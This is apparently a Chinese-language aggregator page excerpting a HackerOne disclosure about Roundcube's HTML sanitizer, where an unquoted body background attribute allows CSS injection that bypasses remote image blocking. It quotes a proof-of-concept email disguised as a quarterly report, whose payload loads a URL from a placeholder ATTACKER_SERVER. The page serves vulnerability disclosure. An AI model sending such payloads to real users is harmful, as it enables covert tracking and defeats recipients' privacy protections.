Unquoted body background attribute enables CSS injection that bypasses remote image blocking
该报告还没有中文解读。
原文摘录
摘自原文(2213 字符中的一小部分)
When `allow_remote` is set to `false`, Roundcube's HTML sanitizer [rcube_washtml](https://github.com/roundcube/roundcubemail/blob/4e95ebe12/program/lib/Roundcube/rcube_washtml.php) blocks external resources in image-loading attributes by checking their values through `wash_uri()`.
原文中的代码
<!DOCTYPE html> <html> <head><title>Quarterly Report</title></head> <body background="data:image/png,x);background:url(//ATTACKER_SERVER/[email protected]"> <h1>Q4 Financial Summary</h1> <p>Dear team,</p> <p>Please find attached the quarterly financial report.</p> <p>Best …
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @nullcathedral · 版权归作者与 Nextcloud 所有